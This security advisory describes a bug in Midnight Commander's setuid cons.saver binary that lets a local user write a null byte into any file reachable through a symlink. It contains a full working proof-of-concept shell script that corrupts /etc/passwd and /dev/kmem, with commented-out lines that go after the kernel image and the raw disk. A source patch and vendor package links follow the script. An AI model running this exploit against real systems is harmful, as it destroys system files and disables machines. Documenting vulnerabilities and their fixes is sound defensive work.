COMMAND
cons.saver
SYSTEMS AFFECTED
cons.saver
PROBLEM
Maurycy Prodeus found following. Many systems have a suid on
cons.saver which is part of midnight commander package. Standard
location of this binary is /usr/lib/mc/bin/cons.saver. There is
a bug, which allows luser to write '\0' char to any symlinkable
file in system. So it can be very destructive, Maurycy wrote
simple example of DoS.
Technical details ... it isn't common bug. Cons.saver doesn't
check if stdout is opened. Next, it checks if argv[1] is a
terminal file. First, file is opened with O_RDWR flag and then
it checks if this file is character device. When error occures,
cons.saver doesn't close this file. Later, NULL character is
written to 1 fd. (our 'fake' stdout)
Proof of concept:
#!/bin/sh
# *---------------------------------------------------------*
# Slaughterhouse ver. 1.0 by z33d@eth-security.net (C) 2000 |
# Bloody, Midnight DoS ;> with suid cons.saver
# Dedicated to my lovely mother.
# : Greetz
# * (...) Oczy niebieskie (...)
# - y3t1 - twe zyczenie jest dla mnie rozkazem :)
# - wroclaw's killers <=> dyziu, decker, kanedaa, korie, viedzmin (...)
# - argante development team (lcamtuf,bulba,artur,marcin,bikappa,honey ...)
# - #sigsegv (funkysh, y3t1, cliph, detergent, kris, venglin ...)
# - sister of night
# - other ppl like mareczek, grubszy, karol, adam, wojtas, siebylnikov,
# slodka Asia (...) |
# *---------------------------------------------------------*
if [ -u /usr/lib/mc/bin/cons.saver ]; then
echo "Zdarza sie."
else
echo "Swoja matke przepros ..."
exit 0
fi
cat >/tmp/rzeznia.c <<_eof_
#include <stdio.h>
#include <unistd.h>
main(){ close(0); close(1);
execl("/usr/lib/mc/bin/cons.saver","cons.saver","/tmp/tty13",NULL);
printf("To jakies fatalne nieporozumienie...\n");}
_eof_
gcc /tmp/rzeznia.c -o /tmp/rzeznia
rm -f /tmp/rzeznia.c
if [ -x /tmp/rzeznia ]; then
echo "On naostrzyl juz noz ... mial rowek i trojkatny ksztalt"
else
echo "ZZZZZZz Zyz yzyzyyzyzyzyzyyy y y . . ."
exit 0
fi
ln -s /etc/passwd /tmp/tty13
/tmp/rzeznia
rm -f /tmp/tty13
ln -s /dev/kmem /tmp/tty13
/tmp/rzeznia
rm -f /tmp/tty13
# Uzyj w razie potrzeby ;>
# ln -s /boot/vmlinuz /tmp/tty13
# /tmp/rzeznia
# rm -f /tmp/tty13
# ln -s /dev/hda /tmp/tty13
# /tmp/rzeznia
echo "... "
echo " he passed away"
rm -f /tmp/rzeznia
SOLUTION
z33d wrote temporary patch, but Solar's OpenWall Patch should be
enough:
--- mc-4.5.42/src/cons.saver.c Mon Dec 6 18:50:02 1999
+++ mc-4.5.42/src/cons.saver.c.z33d Sun Nov 12 17:20:48 2000
@@ -116,12 +116,15 @@
if (fd == -1)
return -1;
- if (fstat (fd, &stat_buf) == -1)
+ if (fstat (fd, &stat_buf) == -1){
+ close(fd);
return -1;
+ }
/* Must be character device */
if (!S_ISCHR (stat_buf.st_mode)){
*msg = "Not a character device";
+ close(fd);
return -1;
}
@@ -132,17 +135,20 @@
/* Second time: must be console */
if ((stat_buf.st_rdev & 0xff00) != 0x0400){
*msg = "Not a console";
+ close(fd);
return -1;
}
if ((stat_buf.st_rdev & 0x00ff) > 63){
*msg = "Minor device number too big";
+ close(fd);
return -1;
}
/* Must be owned by the user */
if (stat_buf.st_uid != getuid ()){
*msg = "Not a owner";
+ close(fd);
return -1;
}
}
For Debian:
http://security.debian.org/dists/stable/updates/main/source/mc_4.5.42-11.potato.5.diff.gz
http://security.debian.org/dists/stable/updates/main/source/mc_4.5.42-11.potato.5.dsc
http://security.debian.org/dists/stable/updates/main/source/mc_4.5.42.orig.tar.gz
http://security.debian.org/dists/stable/updates/main/binary-alpha/gmc_4.5.42-11.potato.5_alpha.deb
http://security.debian.org/dists/stable/updates/main/binary-alpha/mc-common_4.5.42-11.potato.5_alpha.deb
http://security.debian.org/dists/stable/updates/main/binary-alpha/mc_4.5.42-11.potato.5_alpha.deb
http://security.debian.org/dists/stable/updates/main/binary-arm/gmc_4.5.42-11.potato.5_arm.deb
http://security.debian.org/dists/stable/updates/main/binary-arm/mc-common_4.5.42-11.potato.5_arm.deb
http://security.debian.org/dists/stable/updates/main/binary-arm/mc_4.5.42-11.potato.5_arm.deb
http://security.debian.org/dists/stable/updates/main/binary-i386/gmc_4.5.42-11.potato.5_i386.deb
http://security.debian.org/dists/stable/updates/main/binary-i386/mc-common_4.5.42-11.potato.5_i386.deb
http://security.debian.org/dists/stable/updates/main/binary-i386/mc_4.5.42-11.potato.5_i386.deb
http://security.debian.org/dists/stable/updates/main/binary-m68k/gmc_4.5.42-11.potato.5_m68k.deb
http://security.debian.org/dists/stable/updates/main/binary-m68k/mc-common_4.5.42-11.potato.5_m68k.deb
http://security.debian.org/dists/stable/updates/main/binary-m68k/mc_4.5.42-11.potato.5_m68k.deb
http://security.debian.org/dists/stable/updates/main/binary-powerpc/gmc_4.5.42-11.potato.5_powerpc.deb
http://security.debian.org/dists/stable/updates/main/binary-powerpc/mc-common_4.5.42-11.potato.5_powerpc.deb
http://security.debian.org/dists/stable/updates/main/binary-powerpc/mc_4.5.42-11.potato.5_powerpc.deb
http://security.debian.org/dists/stable/updates/main/binary-sparc/gmc_4.5.42-11.potato.5_sparc.deb
http://security.debian.org/dists/stable/updates/main/binary-sparc/mc-common_4.5.42-11.potato.5_sparc.deb
http://security.debian.org/dists/stable/updates/main/binary-sparc/mc_4.5.42-11.potato.5_sparc.deb
For Linux-Mandrake:
Linux-Mandrake 6.0: 6.0/RPMS/gmc-4.5.31-14.1mdk.i586.rpm
6.0/RPMS/mc-4.5.31-14.1mdk.i586.rpm
6.0/RPMS/mcserv-4.5.31-14.1mdk.i586.rpm
6.0/SRPMS/mc-4.5.31-14.1mdk.src.rpm
Linux-Mandrake 6.1: 6.1/RPMS/gmc-4.5.38-4.1mdk.i586.rpm
6.1/RPMS/mc-4.5.38-4.1mdk.i586.rpm
6.1/RPMS/mcserv-4.5.38-4.1mdk.i586.rpm
6.1/SRPMS/mc-4.5.38-4.1mdk.src.rpm
Linux-Mandrake 7.0: 7.0/RPMS/gmc-4.5.42-4.1mdk.i586.rpm
7.0/RPMS/mc-4.5.42-4.1mdk.i586.rpm
7.0/RPMS/mcserv-4.5.42-4.1mdk.i586.rpm
7.0/SRPMS/mc-4.5.42-4.1mdk.src.rpm
Linux-Mandrake 7.1: 7.1/RPMS/gmc-4.5.46-1.1mdk.i586.rpm
7.1/RPMS/mc-4.5.46-1.1mdk.i586.rpm
7.1/RPMS/mcserv-4.5.46-1.1mdk.i586.rpm
7.1/SRPMS/mc-4.5.46-1.1mdk.src.rpm
Linux-Mandrake 7.2: 7.2/RPMS/gmc-4.5.51-7.1mdk.i586.rpm
7.2/RPMS/mc-4.5.51-7.1mdk.i586.rpm
7.2/RPMS/mcserv-4.5.51-7.1mdk.i586.rpm
7.2/SRPMS/mc-4.5.51-7.1mdk.src.rpm